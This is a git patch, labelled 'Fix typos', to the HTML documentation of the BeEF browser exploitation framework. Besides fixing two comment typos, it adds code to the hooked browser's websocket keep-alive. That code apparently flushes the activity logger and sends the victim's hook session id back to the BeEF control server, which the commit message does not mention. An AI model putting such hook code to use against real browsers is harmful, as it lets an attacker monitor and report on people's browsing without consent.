From 79c04a7376e76cb68fde2bd1a2d70f64e0824270 Mon Sep 17 00:00:00 2001 From: Stephen Date: Tue, 15 Oct 2024 04:12:55 +1000 Subject: [PATCH] Fix typos --- docs/updater.js.html | 6 +++--- docs/websocket.js.html | 17 +++++++++++++---- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/docs/updater.js.html b/docs/updater.js.html index 7f81a4e08..8b8bf79da 100644 --- a/docs/updater.js.html +++ b/docs/updater.js.html @@ -35,7 +35,7 @@ /** * Object in charge of getting new commands from the BeEF framework and execute them. * The XHR-polling channel is managed here. If WebSockets are enabled, - * websocket.ls is used instead. + * websocket.js is used instead. * @namespace beef.updater */ beef.updater = { @@ -129,13 +129,13 @@ beef.regCmp('beef.updater');
diff --git a/docs/websocket.js.html b/docs/websocket.js.html index f8159d77e..0313b06b6 100644 --- a/docs/websocket.js.html +++ b/docs/websocket.js.html @@ -71,7 +71,7 @@ beef.websocket = { }, /** - * Send Helo message to the BeEF server and start async polling. + * Send Hello message to the BeEF server and start async polling. */ start:function () { new beef.websocket.init(); @@ -112,12 +112,21 @@ beef.websocket = { * todo: there is probably a more efficient way to do this. Double-check WebSocket API. */ alive: function (){ + try { + if (beef.logger.running) { + beef.logger.queue(); + } + } catch(err){} + + beef.net.flush(); + beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout)); } }; -beef.regCmp('beef.websocket'); +beef.regCmp('beef.websocket'); + @@ -127,13 +136,13 @@ beef.regCmp('beef.websocket');